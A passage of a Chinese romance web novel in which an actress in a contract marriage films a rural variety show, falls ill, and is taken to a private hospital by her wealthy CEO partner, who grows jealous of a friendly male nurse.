迟星气鼓鼓地将手抱在胸前,盈润的唇撅到能挂起一瓶汽水:“靠,就这样对你亲妹。”
地下车库里。
凌书寻原以为是钟俊开车,直到那辆灰色的法拉利闪了一下,迟昼为她打开副驾的车门,示意她上车。
“迟老板亲自开车送我回去?”凌书寻挑挑眉,“之前也这样送其他女孩子吗?”
迟昼发动车子,透过玻璃看向前方:“我的车岂是人人都能上的。”
也对。
凌书寻微笑起来,歪歪脑袋看着迟昼:“那我很荣幸哦。”
“能成为你的第一个。”
迟昼放在方向盘的手忽然顿了一下,又若无其事的继续开车。
太阳已经变成红橙色,散落下来的光线也变得昏黄。城市的玻璃幕墙反射着尖锐的光块,路边的海棠树都在急速的后退。
凌书寻降下玻璃,双臂叠放在车窗上,搭着脑袋看天边的晚霞渐渐晕开。
红灯。
迟昼停下车,转头看她。
从他的角度只能看见凌书寻一点侧脸,被照的半眯的眼睛,高翘的鼻尖。夕阳下,她原本乌黑的头发被镀上一层细细的金边,有风灌进来,丝丝缕缕的长发飘起,露出光洁的脖颈。
迟昼觉得这阵风好像吹进了自己的胸腔,在里面发出了微小的回声。
又近一个小时,才到凌书寻公寓楼下。
凌书寻正要解开安全带,迟昼却突然出声,打断了她的动作。
“要不要搬到我的别墅?”
8.第 8 章
当飞机平稳的飞行在云层之上,凌书寻耳中微微的耳鸣声和不适感才渐渐消失。
坐在旁边的助理小声问道:“书寻,好些了吗?”
“已经没事了。”
薛涵是扶光安排给凌书寻的执行经纪兼助理,是一个年轻的女孩。虽然两人年龄相差无几,但薛涵已经在扶光工作了快五年,为其他演员做过助理,经验丰富。
“等落地机场,《桃源乡》节目组的人会来接我们。”薛涵提醒道:“不过拍摄的村镇离机场很远,还要坐很久的车上呢。你可以先睡一觉保留精力,晚上还要拍你和另一个嘉宾的欢迎仪式。”
“另一个飞行嘉宾是谁啊,公司有消息么?”
薛涵摇摇头:“只听说是个歌手,咖位蛮大,节目组请了好几次人家才同意参加的。”
“所以,另一位飞行嘉宾的咖位就要又小又便宜。”凌书寻笑着说。
薛涵悄悄看她一眼,也跟着笑了:“哪有明星这样说自己的。”
“是事实嘛。”她满不在乎,出道的这几年,都不知道为多少人、多少剧镶边做配,又怎么会在意这个。
若说她只有配角,其实也不尽然。
至少有一部小成本网剧,让她在试镜时凭实力得到了女主角。可是后来不知道什么原因,这部剧迟迟没有播出,渐渐悄无声息。
她回想起那时是刚毕业不久,在剧组兢兢业业拍摄了三个月,导演有时也会夸赞她情绪不错,甚至比很多科班演员还要好,说她未来会大有可为。
可是后来她总是做出错误的选择。
到最后什么都没有。
想着想着,她的意识开始变得朦胧,困意袭来。
迷迷糊糊间,脑中突然蹦出几天前迟昼问的那句话:
“你要不要搬到我的别墅?”
当时她一愣,没有明白话中的意思,只停下手中的动作抬头看他。
“我会给你另外安排一间卧室。”
“为什么?”
迟昼眉间蹙起,声线依然冷淡:“今天被迟星看到了,她回家后会大做文章。到时候被父母发现没有住在一起,总不好交代。”
“毕竟是做戏给外面看,不能留下太明显的疏漏。”他的视线从凌书寻的脸上移到窗外,握住方向盘的手骨节处有些发白,“没别的,你不要多想。”
凌书寻低头思索几秒,觉得也有些道理,只是忽然要搬到一个男人家里,她没有做好心理准备,毕竟从毕业以后她几乎一直是独居。
“我要考虑一下,迟总。”她认真的回复,“等我录完节目回来再说。”
迟昼没有说话,只伸出纤长的手帮她解开安全带,背面的青筋在他的动作下若隐若现。
下车后,忽然又折返回头,“对了,这期间给你安排一个任务。”
她俯下身,透过车窗看着里面傲然的身影:“考虑一下你妹妹那些问题的答案,不然下次还有人问的话,答不上来会露馅哦。”
-
出机场后,两人上了《桃源乡》节目组的车,向着拍摄地点出发。
《桃源乡》是一档田园经营和生活体验类综艺,这一季拍摄选在了远离城市的西南生态小镇,有五位固定艺人,其余飞行嘉宾则不固定。
到达节目组生活的农庄时已近黄昏,浓烈的橘红色晚霞和墨绿的稻田在天边交汇,像一幅浓墨重彩的油画。
农庄里的五个嘉宾已经在生火做饭,凌书寻在来之前已经补习过以前的节目,名字都对的上,也笑盈盈的叫着老师们好。
去房间放下行李后,她就来到厨房打下手,聊天中得知另一位神秘的飞行嘉宾明天上午才到,目前无人知晓到底是谁。
凌书寻只能带着满肚子好奇吃过晚饭,绕着农场溜达一圈,早早睡下。
第二天,天边刚透出鱼肚白,一声嘹亮的鸡鸣就划破了农庄的宁静。
九点整,嘉宾们开始抽“盲盒任务卡”。
凌书寻是最后一个抽的。
拿在手里后,她深吸一口气,打开卡片:
带领牛群至指定草场放牧并安全归栏。
放牛!
她眼睛一亮,嘴角忍不住上扬,这活儿她熟!
刚走到牛棚门口,院子里忽然热闹起来。凌书寻好奇地探头望去——
另一位飞行嘉宾到了。
简单的黑色T恤,浅蓝牛仔裤,衬得身形修长,染成浅栗色的短发在晨光里泛着柔和的光泽。他脸上带着干净的笑意,像山间清爽的风,雨后澄明的溪,扑面而来的新鲜氧气。
他径直朝凌书寻走来,伸出手,声音干净温和:“你好,我是方居澈。”
方居澈。
凌书寻心头一跳。
即使不混音乐圈,这名字也如雷贯耳。顶流歌手,创作才子,一张俊朗帅气的脸更吸引了无数粉丝。
她完全没想到会是他。
“方、方老师好!”凌书寻紧紧握住他的手,语速不自觉地加快,“我是演员凌书寻,我……我还买过你的专辑!”脸颊微微发热。
导演适时递上最后一张任务卡。
方居澈拆开,念道:“协助放牧并学习基础赶牛技巧。”
凌书寻笑了,晃了晃手里的任务卡:“方老师,那你得跟我走啦。”
方居澈也笑了,点头:“好,听凌老师安排。”
两人走进牛棚。原本安静的牛群似乎有些躁动,在栏里踱着步,发出低沉的哞声。
方居澈看着眼前这几头壮实的家伙,脚步下意识顿住了,眼神里透着新奇和一丝谨慎。
这是他第一次和牛这么近距离的接触。
凌书寻麻利地拿起备好的竹竿和竹篮,递给他一根:“别担心,方老师。牛能自己认路,而且也有头牛领着。我们跟着走,看好这两头小牛犊就行。”
说罢,她打开栅栏,牛群慢悠悠地涌出。
两人跟在牛群后面,摄像师带着摄像机紧随。
这座小镇海拔较高,初夏的风中仍带有丝丝凉意,拂动路旁的树叶沙沙作响。
凌书寻小臂挎着竹篮,手中的竹竿不时轻点地面,把活泼好动的小牛劝回队伍。
“方老师,你试试?”凌书寻晃晃手里的竹竿,递给方居澈。
“好。”方居澈接过,学着她的样子,动作虽生涩却很认真。
凌书寻眉眼间全是笑意,夸赞道:“方老师上手真快!”
“其实它们挺温顺的,像大宠物。不过,”她眨眨眼,琥珀色的眸中盛满了对童年的追忆,“我小时候还被牛追着跑过田埂呢!”
方居澈闻言轻笑:“原来凌老师是资深‘牧童’?”
“嗯!”凌书寻的眼里亮晶晶的:“小时候在乡下爷爷奶奶家长大的,放牛、放羊、挖野菜都干过。”
她拍了拍竹篮:“等会看看田野里有没有野菜,说不定晚上能给大家加个汤。”
方居澈看向她。
草帽下低低的双麻花辫,利落的防晒衣裤运动鞋,整个人透着股接地气的活力,眼神里笑意更深。
到了草坡,牛群自动散开,悠闲地啃起草。
四周郁郁葱葱,空气清新而又混合青草的香气。上湛蓝的天空下偶有鹭鸟掠过,留下几声清脆的鸣啼。
凌书寻挎起篮子:“开工!方老师,帮我留意着点野菜。”
“好,认识哪些?” 方居澈跟在她身边,好奇地低头寻找。
“这是蕨菜,卷卷的嫩芽。这是荠菜,叶子有点锯齿……” 凌书寻一边找一边介绍。
西南地区的春夏季节雨水充沛,气候湿润,山林田野间的野
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菜倒也丰富。
方居澈学得认真,不一会儿也找到了几棵。
凌书寻折了许多蕨菜和荠菜,和方居澈忙活一上午,把篮子塞得满满当当才心满意足地往回走,准备吃午饭。
下午二人清理完牛棚后,在地面铺上了新鲜的干草。
当夕阳已经把农场染成暖金色,牛也已经回栏里,又要按照惯例要每组准备一道菜。
凌书寻拎着处理好的整只鸡和一篮野菜回到厨房外的空地上,方居澈已经抱了木炭过来准备生火。
“方老师,我们组今晚的主菜就是稻草烤鸡!”她兴致勃勃地晃了晃手里的鸡,“用干草裹着烤,会有特别的香味。”
“听着就很好吃。”方居澈笑着应道,帮忙抱来一捆干稻草。
凌书寻动作麻利,先用盐和香料把鸡肉里外抹匀 ,接着拿起稻草将鸡身一圈圈缠绕、捆扎。
整只鸡就被裹成了一个扎实的稻草包。
“搞定!”凌书寻满意地看着自己的作品。
方居澈原本一直安静地帮她递稻草,这时忽然开口:“凌老师,我在想,要不要在稻草外面再裹一层调色的泥巴?烤完后剥开,就像拆一件大地色的艺术品。而且,泥巴还能锁住更多汁水。”
凌书寻的眼睛霎时亮了起来,惊喜地看向他:“调色的泥巴?方老师,你这个想法也太绝了,真不愧是搞艺术创作的人!”
两条麻花辫因为她的动作而被甩出一个微妙的弧度,明明星辰还没有出现,却像是落在了她的眼睛上,闪烁着点点光泽。
“方老师,你们处理完鸡了吗?”另一个嘉宾从厨房凑了过来。
方居澈这才移开视线,对着嘉宾说道:“嗯,书寻已经处理好了,我再去找些泥土和水。”
很快,一小盆湿泥就和好了,方居澈又找来一些草木灰、红土,调出两种深浅不一的泥浆。
他接过凌书寻递过来的“稻草包”,用手指沾着泥浆,在稻草表面细细勾勒起来。
随性的线条和色块,从他指尖流淌出来,像抽象画上的山峦和田野。
裹好彩泥的鸡胚被小心放在方居澈生好的炭火堆里,又盖上热灰慢慢煨烤。
趁着这个空档,方居澈和凌书寻处理好野菜,放进了锅中烹煮。
晚风中带着凉意和炊烟的味道,炭火堆里散发出稻草的焦香气,又混合着泥土的味道,变得越来越浓郁,引得越来越多的嘉宾围了过来。
大家看着这个裹着“艺术泥壳”的烤鸡,表情都充满了期待。
-
晚餐桌上的菜品陆续上齐,大家边吃边聊,气氛轻松而活跃。到后半段,烤鸡熟透才被端上来。
方居澈起身掰下一只鸡腿,递给坐在身侧的凌书寻:“书寻,你功劳最大,鸡腿给你。”
“哇,谢谢方老师!”凌书寻笑着接过,那双桃花眼像一弯弦月,鼻尖嗅嗅鸡腿忍不住感叹,“好香!看来我手艺还可以,大家也快尝尝。”
大家都笑着答应,迅速分食完了整只烤鸡。
晚饭后,大家又在院子里聊了很久,直到天空闪过一道白光,随后一道轰隆隆的雷声响了起来。
“要下雨了,大家早点回房间休息吧,时间也不早了。”
嘉宾们作鸟兽散,纷纷回了自己的卧房。
摄制组也赶紧收起了所有的设备离开,结束一天的工作。
凌书寻的卧房在二楼,和院子通着一道细长的楼梯。
她手扶到楼梯的栏杆上,刚要迈上台阶,一道磁性的声音叫住了她:
“书寻。”
她回头,院子里昏黄的灯下,方居澈的身影被拉的很长,碰到了她的脚下。
方居澈脸上明明暗暗,她看不太清,唯有唇角边的一个温柔笑意:“我们是不是早就见过?”
9.第 9 章
暴雨下了一夜都没有停歇,直到清晨才终于有变小的迹象。
密集的雨珠砸在屋顶和地面,哗啦啦的泥水四处漫溢,农场沟渠的水位也暴涨。
凌书寻很早就醒了,正越过窗看着外面的雨天。
这时一道刺耳的哨子声传了过来,导演组的声音透过扩音器显得格外急促:“突发情况!暴雨导致低洼处的农作物积水严重,牛棚部分区域出现漏水!所有嘉宾协同抢险,分组行动!”
凌书寻瞬间清醒,套上雨衣冲了出去。
院子里已经一片狼藉,积水的高度逼近脚踝。
出于对牛棚的熟悉,她被分去牛棚抢险,确保牛群全部都转移到干燥的备用房间,并且抓紧修补好漏水的地方。
就在这时,一个熟悉的身影冒着雨水快步走到她身边。
是方居澈。
他没有说话,只利落的整理好黑色雨衣的拉绳,对着凌书寻点点头,目光看向牛棚的方向。
凌书寻的心中涌起一股热流,也用力点了一下头:“方老师,走!”
牛棚里光线昏暗,雨水顺着破损的顶棚灌入。昨日才铺好的干草几乎全被浸湿,混合着泥水贴在地面。牛群不安地低声哞叫,踱步。
凌书寻没有丝毫犹豫,立刻进入状态。
她抹了把脸上的雨水,转头对方居澈说:“优先转移牛。方老师,你先去开备用仓库的大门;我负责引开头牛。”
凌书寻走进牛群,熟练地拍打着一头母牛的颈侧,语调温柔:“没事了,没事了,跟我走。”
牛群在她的引导下,有序的向栏外移动。
方居澈开完门后跑回来帮忙,驱赶牛群的同时观察着四周。
就在大部分牛群即将转移完时,他敏锐地发现牛棚角落里还有一头小牛犊,它的左后腿微微蜷缩,似乎不敢落地,嘴里发出几声惊恐的叫声。
“书寻!那头小牛!”方居澈指向角落。
凌书寻闻声看去,脸色一变:“糟了,后腿可能受伤了。方老师,你把剩下的这两头牛赶进仓库,我去看看小牛。”
她毫不犹豫的踏着泥水冲过去,摸摸小牛的脑袋后,检查起伤腿。
好在只是划伤,没有伤到骨头,但殷红的血液还在向外缓慢渗出,需要先给小牛包扎一下止血。
她环顾四周,除了濡湿的稻草和角落里堆放的木板外,没有任何能用的东西。
她低头看了看自己。
方居澈把所有的牛都赶到仓库里,关上门,向对面的旧棚望去。
隔着院中的雨幕,凌书寻扯下身上的雨衣搭在门栏上,又脱掉穿的那件深蓝色斜襟衬衣,身上剩一件白色吊带衫。
她小心翼翼地抬起小牛的腿侧,动作轻柔又利落的把那件干净的衬衣缠了上去,留出的两条袖子当做扎带,系成了一个漂亮的蝴蝶结。
做完这一切,凌书寻又拿起灰色雨衣,冰凉而又沾着水渍。她抖了抖,直接套在了身上,冰凉的触感让她不自觉打了个寒颤。
随后她抬眼,迎上了方居澈的视线。
“方老师!”她笑着对他招招手,呼喊道:“能不能过来帮我把它抬过去?”
方居澈没有丝毫迟疑,再次走进了雨中。
这场雨一直下到临近午时才终于平息。
凌书寻和方居澈一直拖着湿透的疲惫身体,在农场和所有嘉宾互相帮助,完成了所有紧急救援任务,把农场重新整理的井井有条。
回到临时避雨的棚下,和其他浑身泥水的嘉宾汇合。
趁这个间隙,方居澈从自己雨衣内袋里掏出一条干净的小方巾。
他自然地伸出手,将小方巾塞进了凌书寻的手里:“擦擦脸,别感冒了。”
凌书寻抬眸,她额前的刘海几乎已全部湿透,侧脸还贴着几缕湿发,不施粉黛的面容清丽脱俗,却明显愣了一下。
“谢谢你,方老师。”她接过方巾握在手里,掌心似乎还能感受到上面的温热。
-
休息对迟昼而言,是件奢侈的事。
自从回国执掌迟翡,他绝大部分时间都困在集团的楼宇里,对任何工作都事无巨细,即使周末也如此。
而今天是例外。
如往常一样,他在午夜时分惊醒,万籁俱静,四周像被抽空。
他侧过身,等待睡意再次降临。
然而没有。
距离天亮还有几个小时,他阖眼许久,意识还很清醒。他索性起身,下楼。
感应夜灯随着脚步次第亮起,盏盏幽微的光在空旷的客厅里晕开,勾勒出这栋别墅空旷而又沉寂的轮廓。
迟昼套着一件绸缎质感的黑色睡袍,从酒柜随便提了一瓶红酒,取了酒杯,陷在沙发里。
偶尔有几声虫鸣透过落地窗穿过,让他心底无端生出一丝烦躁。
漫无目的地饮了几杯过后,困倦还是迟缓地溢了上来,他倚靠在松软的沙发上睡了过去。
醒来时,天光早已大亮。搁在茶几上的手机屏幕亮起,短促的提示音响了一声。
他探身摸起手机,是薛涵发来的:
“迟总,书寻下午的飞机回北城,预计落地时间是晚上七点。”
视线在屏幕上停留片刻,他指尖划出了聊天框。没有回复。
周末,保姆周姨是不来的。
别墅里只有他一人。
迟昼走进厨房,给自己烤了两片吐司,抹上果酱,味同嚼蜡地吃完。又倒了杯水,端着走到客厅,随手打开了电视。
财经频道主持人的声音在空旷的房间里回荡。他靠进沙发,看向屏幕的目光有些心不在焉。
就在目光即将彻底游离时,屏幕下方一条滚动的新闻标题,引起了他的注意:
西南某地区昨夜突发暴雨,部分城市发生洪涝灾害,伤亡人数还在统计中。
迟昼皱皱眉再次拿起手机,搜索凌书寻的名字,打开了那个空白的聊天窗口。
黑色的光标在长方形对话框内闪动。
最终,他什么都没说,切换回了薛涵的窗口:有没有受到暴雨的影响?
薛涵很快回复:没有,一切顺利。
-
离开节目组时,凌书寻、方居澈和大家互相拥抱道别。
最后剩下二人彼此,凌书寻主动张开双臂:“方老师也和我拥抱一下吧,我也算追星成功圆梦了!”
方居澈依旧温和地笑着,应了一声“好”。
两人轻轻抱了一下,一种独属于方居澈的清新气味涌入凌书寻的鼻腔,让她有一瞬的恍惚。
不知怎的,脑中迅速涌起了属于另一个人的,凛冽的雪松味道。
她敛了敛表情,从方居澈的脊背上松开双手。道别后登上了节目组的商务车。
虽然下了一夜的雨,但《桃源乡》所在的小镇地势比较高,受到的影响不算太严重。
凌书寻和薛涵返回机场的路途虽有积水,倒也不算泥泞难行,顺利登机。
也许是气压的变化,凌书寻在飞机升空的那一刻又开始感觉到不舒服。
像无数只细小的蚂蚁在自己的喉咙爬来爬去,整个呼吸道都又干又痒,她向空姐要了一杯
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温水,小口小口的喝完,依然没有任何缓解。
凌书寻不得不接受一个事实:她要感冒了。
做完紧急的抢险任务后,她立刻去冲了一个热水澡。本来以为不会有事的,还跟着方居澈去镇上的市集转了转,没想到还是受了雨中的寒气,又受了风。
感冒的症状好像在一瞬间都不请自来,脑袋此刻也变得有点晕乎乎。
她撑着眼皮,接过空姐递来的薄毯和眼罩,说出口的“谢谢”也带上了一点鼻音。
剩下三个小时的飞行时间里,凌书寻直接睡了过去。
等薛涵把她叫醒时,凌书寻才发现飞机已经降落,她拿起随身行李下机。
“薛涵,公司给我们安排车了吗?”凌书寻边走边问。
“呃嗯,当然安排了。”薛涵的目光有一瞬间的躲闪,又迅速夺过凌书寻手中的行李箱,“我帮你拿!”
凌书寻疑惑地看了她一眼,但脑袋还是钝钝的,于是也懒得争了,就由着薛涵来。
两人一路走出机场,凌书寻四下打量,寻找来时乘坐的公司的保姆车。
此时天色已经黑了下来,只有靠近机场落地玻璃的附近,在灯光的照射下才显得明亮而繁忙。
“我们的车到底在哪?我怎么没看到。”凌书寻随口问了一句,又继续寻找。
一辆灰色的法拉利停在接机口,在一众出租车和普通私家车里显得那么耀眼,吸引了无数行人的目光。
凌书寻只掠过一眼没有在意,随即又觉得这车好像有点眼熟?
薛涵也在旁边轻咳一声:“……书寻,这辆车好像有点帅,你认不认识?”
她停下脚步,看着眼前的这辆法拉利。
车窗落了下来,迟昼那张冷淡而英俊异常的脸出现在了凌书寻的视线里,冷白的灯光落在他的身上,车内半明半暗。
他嘴唇轻抿,抬起锐利的下颌,淡淡看向凌书寻,目光平静而寻常。
“……”
凌书寻再次恍惚,觉得自己好像还在飞机上没有醒过来,眼前的人不过是一个梦。
她完全没想到迟昼会来接机,而后又意识到薛涵从刚刚就有点反常的表现。
“薛涵,你……”凌书寻的话还没说完,就被迟昼冷冷的声音所打断:
“把行李放上来。”
薛涵立刻照做,在凌书寻反应不及的时候,又招手拦了辆出租车,迅速消失在了地平线。
凌书寻还有些懵,依着迟昼示意的方向坐进副驾,系好安全带才转头看他:“你怎么在这儿?”
“兜风,正好路过。”迟昼目视前方,语气平淡地发动车子,仿佛他的出现真的只是巧合。
凌书寻想问他是怎么知道航班信息的,话未出口,倒忍不住先打了个小小的喷嚏,鼻尖瞬间泛红。
迟昼侧目瞥了她一眼,眉头微蹙:“着凉了?”
“嗯,可能有点。”她闷闷地应着,吸了吸堵塞的鼻子,声音带着比之前还明显的鼻音,心里懊恼出门没有戴口罩。
也不知道会不会传染给他。
“我们不走吗……”她下意识地小声问。
话音未落,迟昼的手已探了过来。
微凉的指背猝不及防地贴上了她的额头。
凌书寻呼吸一滞,连她所有的思绪都瞬间凝固。
狭小的车厢里,只有他手掌微凉的触感,和她额头发烫的温度,形成了奇妙却无比清晰的对流。
片刻,他的手移开,目光收回。
声音比刚才沉了几分:
“你在发烧。”
10.男护士
“家里还有感冒药,我回去吃药睡一觉就好了。”凌书寻恹恹地说,嗓音带上一丝沙哑。
迟昼没有说话,脸上淡淡的看不出表情,只专注地开车。
凌书寻见状也不再言语,脑袋靠车窗上,安静地看外面的风景。视线里,远处的公路和路灯似乎被拉成了一条条流线,去往了没有尽头的地方。
她再次在不知不觉中睡去。
不知道过了多久,她被迟昼关车门的动静惊醒。
带着朦胧的睡意,她打量一下外面这个及其陌生的环境——
一座灯火通明的建筑群。
迟昼替她打开了车门,语气里带着一种轻微的命令感:“下车。”
凌书寻起身下车,才看清这里的全貌。
建筑通体白色,坐立在繁盛的树木之中,这里一家很有名的私立医院,服务的都是权贵阶层,费用贵的咋舌。
两名医护人员已经推着轮椅走了过来,脸上都挂着和善的笑容,礼数周到。
凌书寻受宠若惊。
其实她从小到大不常生病,偶有病痛也都去公立医院去体验挂号、看诊、检查、拿药的流程。像这样护士直接推着轮椅过来接的服务真是头一次。
此时症状似乎又加重了一点,鼻子被完全塞住,不流畅的呼吸又导致大脑如缺氧一般晕乎乎的。
她也没有推脱,直接坐上了轮椅。
医生给凌书寻检查过后又量了体温,38.9℃。
“上午淋雨下午就烧起来,症状发展的很快,是重感冒。”医生说看着迟昼说道,“迟先生,我建议今晚输液后住院观察。”
“不住院行不行啊?”凌书寻嘟囔着。
她不想晚上自己一个人留在冷清的医院里,独自面对这样一个陌生的环境总会有点害怕。
“输完液就很晚了,而且在医院的话有医护人员可以随时观测你的状况,如果回家再烧起来就麻烦了。”医生平和地说。
迟昼语气坚决:“你今晚就留在这。”
“可是我害怕……”
“我在这里你有什么好怕的?”迟昼的手搭在凌书寻的轮椅上,好像把他身上那种沉稳又安心的力量注入了进去。
凌书寻垂下头,认命了一般。
算了,大不了明天把薛涵叫过来陪自己,顺便问问她是如何联系的迟昼。
迟昼跟着一名护士去办理入院的手续,另一位护士把凌书寻推到病房。
迟昼回来的时候,护士已经又帮凌书寻换好病号服。蓝白相间的病号服穿在她身上,是如此宽大空荡,让她原本就清瘦的身型看得越发惹人怜爱。
打点滴之前凌书寻先去病房的卫生间简单洗漱了一下。
里面所有清洁用品如酒店一般一应俱全,品牌比她自己日常用的还要高端,她决定出院的时候一定全都打包带走。
“还没吃饭吧?”迟昼倚在门框,姿态散漫地看着她。
凌书寻此时完全没有胃口,只想睡觉,于是摇了摇头:“我不饿。”
“是我饿了,你等会陪我一起吃一些。”说罢,他让护士去准备些吃的。
过了一会,护士端来了两份餐,还贴心的帮凌书寻打开了病床的小桌板,放了上去。
食物很清淡,米粥、蒸蛋,以及几盘时蔬小炒。凌书寻讶异这么晚了居然还有晚餐供应。
护士笑着说:“餐厅24小时都有师傅值班,而且都是营养师严格指定的菜谱。”末了又补充,“您安心休息吧,半小时后我回来为您换药,有其它需要随时按呼叫铃就好。”
凌书寻手背扎着针头不愿动,只喝了半碗粥,听到护士的话后终于安心睡下。
一夜无梦。
次日醒来时,病房里空无一人。
迟昼不知何时已经离开。
“连声招呼都不打,真没礼貌。”
凌书寻暗骂一句,又望着空荡的天花板回回神,拿起手机看一眼时间,早上九点。
她坐起身,抬手看看手背,针头已经被拔掉,贴着的一截医用胶带下渗出一点红星。
有护士走了进来,脚步极轻,探头看看凌书寻:“呀,你醒了,感觉怎么样?”
“已经好多了。”
护士继续问道:“那要不要吃点东西,我去拿?”
本来还没有多大感觉,经过护士一提醒,凌书寻肚子忽然扭动了一下,顿时觉得饿了。于是点点头:“好啊,麻烦你了。”
护士走后,凌书寻翻身下床去卫生间洗脸。
昨晚晕头转向的感觉已经消失,精神恢复的七七八八,只是还有些鼻塞,喉咙像在吞刀片。抬头看了一眼镜子中的自己,本就冷白皮的面容愈发苍白,双唇几乎没有血色。
凌书寻用清水抹了把脸。
一个人影走了进来:“您好,早餐来了。”
凌书寻寻着这道温柔的男声看去,只见一个高高瘦瘦的年轻男生端着餐盘来到了病房,浅蓝色的裤装制服,新鲜白净的脸上带着温柔的笑。
觉察到她的目光,男生抬眸看着凌书寻,微微颔首:“我是护士小陈,今天我值班,有需要找我就好。”
“很少见男护士耶。”
小陈:“我们医院一共才三个男护士,今天就被你遇到一个。”
凌书寻笑了,对眼前这个小陈好感度直升,她一直很喜欢有幽默感的人。
“你头痛不痛?吃完饭我再来给你量体温。”
凌书寻边吃边点头:“好啊,我等你。”
-
九点一刻,迟昼就简短的结束了迟翡周一固定的高管晨会。
“如果没有其它要事,散会。”
眼见他长腿阔步离开了会议室,一众西装革履的高管才敢暗暗议论:“今天会议结束的这么早?”
“迟总怎么看着有点累,难道昨晚没休息好。”
……
钟俊跟着迟昼出来后,看到他径直走向了专用电梯,按了向下的按钮,于是提醒道:“迟总,您和中亚分公司负责人约了线上会议,时间快到了。”
迟昼思忖片刻:“在车上开吧,顺便把今天要处理的工作一起带着。”
“是。”
劳斯莱斯驾驶在路上,迟昼一直坐在后座处理工作,直到临近医院才得了空闲。
他抬手捏了捏酸胀的眼角。
昨晚,迟昼是在凌晨一点钟才回到别墅的。
或许是看到凌书寻在病床上忽然就昏睡了过去,甚至连还在输液都能不管不顾。他觉得这个女人真是心大,丝毫不怕空管后会血液回流。
于是他坐在病床一侧的沙发上,安静地看着躺在那里的人。
等凌书寻所有的药水输完时已经过了零点,他看着护士轻轻把针头拔掉后,才离开病房。
迟昼驱车回到别墅,简单的冲了澡,才进入睡眠。
没想到,他又做了一个梦。
是在接凌书寻回来的路上。
不同的是,梦中的凌书寻没有感冒,而是像那天他从集团送她回公寓的路上,她趴在车窗上,乌黑的长发在风中飞舞。
迟昼问出了他原本想在路上问的问题:“你考虑得怎么样,要不要搬来跟我住?”
她说过,录完节目会给他答复。
凌书寻撇过头来看着他微笑,却不说话。阳光落在那双琥珀色的眼睛里,照的透亮澄明,她嘴角弯翘着,好像已经看穿了他心底的那个
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问题。
迟昼沉默一瞬。
只觉得自己皮肤底下好像有什么在渴求,叫嚣。
他还是没有问出那句真正想问的话。
-
下车后,迟昼独自进入病房楼。
推开房门的刹那,他脸色倏地一沉。
房间里,两个人在欢声笑语,完全没注意到门口的人影。
凌书寻躺坐在病床上,沉浸地跟男护士聊天:“……所以你们医院并不是以治病为主?”
“这边环境比较好,又是以服务著称,所以来疗养的人很多。当然我们妇产科也比较有名,很多明星来这里生小孩,还有配套的月子中心,安保方面也完全没问题。”
“哇!”她感叹一声,神神秘秘的问:“哪些明星来过,有没有我认识的?”
男护士抱着手看她:“这就保密了,不能告诉你。”
“怎么这样。”她嘟起嘴,原本红润的唇此刻苍白而干燥。
男护士也敏锐地发现她起皮的嘴角,在床头柜上倒了一杯温水递给凌书寻:“你的嘴巴很干,要多补充点水分。”
凌书寻抬手接过,对着男护士眨眨那双美丽的桃花眼,“谢谢小陈哥哥,你可真是人帅心善!”
男护士瞬间有些不好意思,眼睫落下不敢看她。
迟昼深吸一口气,心里陡然升起一股无名之火。
那日在他的办公室,凌书寻就是这样看着自己的脸,笑眯眯地大肆夸赞。
现在看来她还真是对谁都能如此,面不改色心不跳的夸夸其谈。
他不明白,为什么这个女人能迅速和一个上一秒还完全陌生的人谈笑风生。
当初对自己也是如此,与其他人没有丝毫不同。
迟昼脸色越发阴沉,脑中蹦出了他们达成协议时,他说的话:在我身边,扮作我最忠诚的妻子。
她答应了。
可是现在,她竟然当着自己的面夸另一个男人长得好看。
“凌书寻。”
迟昼冷冷的叫她。
不仅被叫到名字的人愣了一下,男护士也转过头来。
两人这才注意到了门口的迟昼,优雅却散漫姿态倚在门框,寒冰一般的目光射在病床上。
病床上的凌书寻也看到了迟昼阴沉的脸,原本脸上灿然的笑意凝固,慢慢褪成了一个标准微笑。
她抬手打了个招呼:“迟老板怎么来了。”
小陈反应过来,礼貌的微微颔首。
迟昼没有回答,只收起散漫的姿态,迈着长腿走进病房,看向病床上的人:“感觉怎么样?”
“挺好的,这病房又新又宽敞。”
迟昼一脸黑线:“……看来烧坏了脑子。”
凌书寻这才恍然大悟:“哦,哦,身体也感觉好多了。”
“还在发烧?”
“已经退下去了。”凌书寻不觉坐直身体,像在课堂做错事被老师抓包的孩子,带着一点莫名的心虚。
迟昼气定神闲地坐在沙发,双腿交叠,冷哼一声:“恢复的确实不错,都有心思在这里跟别的男人调情。”
窗外的阳光透过玻璃与窗纱,又经过他的宽肩,在地上投成一个明亮的长条,仿佛一堵无形的、透明的墙。
调情?
凌书寻刚要反驳,小陈先打断了。
他看着凌书寻,声音平静温柔:“那你先好好好休息吧,我下午再来给你输液。”
说罢看着迟昼,嘴唇轻抿了一下,目光闪烁:“你是病人的朋友吗?其实不用经常探望,让她多休息比较好。”
迟昼抬起锐利的眉眼,冷冷看向小陈,磁性的声线压得极低:
“我是她老公。”
11.家宴
第五天输完液后,凌书寻终于办理了出院。
薛涵开车来接她。
回公寓的路上,薛涵还在自责:“都怪我,那天应该早点给你准备点姜汤或者感冒灵什么的,就不至于让你住院受罪了。”
凌书寻倒是没有在意:“没事啦,其实这几天我过得还挺好的。”
住院的这几天,每天有护士端来营养配比均衡的餐饭,她只需要动动手就可以;输液每到该换药的那一刻,护士就神奇的自动出现,她完全不用分心;甚至在无聊的时候,还可以找漂亮的护士姐姐聊天。
感谢迟昼,这是她住院住的最爽的一次,完全就像是在疗养。
“薛涵,你还没告诉我,迟总为什么会出现在机场。”
薛涵犹豫一下,吞吞吐吐地说:“其实,都是迟总的要求。他让公司将工作室人员名单都发给钟俊特助,把信息都报备了一下,还签了很严格的保密协议。你的通告行程也都会跟钟特助那边报备。”
“什么时候的事情?”
“上周你在公司拍写真的那两天。”
凌书寻默了默,也没有再多说什么,毕竟是迟昼是出资的老板,有这些要求倒也合理。
凌书寻心想,他们是合作伙伴,而他可以暗暗操控着自己的一切。
不太平等。
她不由地想起那张清隽卓绝的脸。
在住院的第二天上午,迟昼携一身寒冰的气息出现在病房里,脸色沉的吓人。
临走时,他蹙眉站在病床前,语气带着一丝微不可查的怒意,薄唇轻启:“周末钟俊会去接你,回迟家老宅演一场戏。”
后面再也没出现过。
真是莫名其妙。
凌书寻至今还没想明白,他来机场接自己的目的是什么。
反正总不会因为是想见自己。凌书寻知道,他对这场“合作关系”分得太清,在私人的空间上从不逾矩。
车子到达公寓楼下。
凌书寻下车,习惯性的想要拿行李时,才想起,她的行李箱自从入院的那天就没见过了。
目前应该还在迟昼那里。
“……”
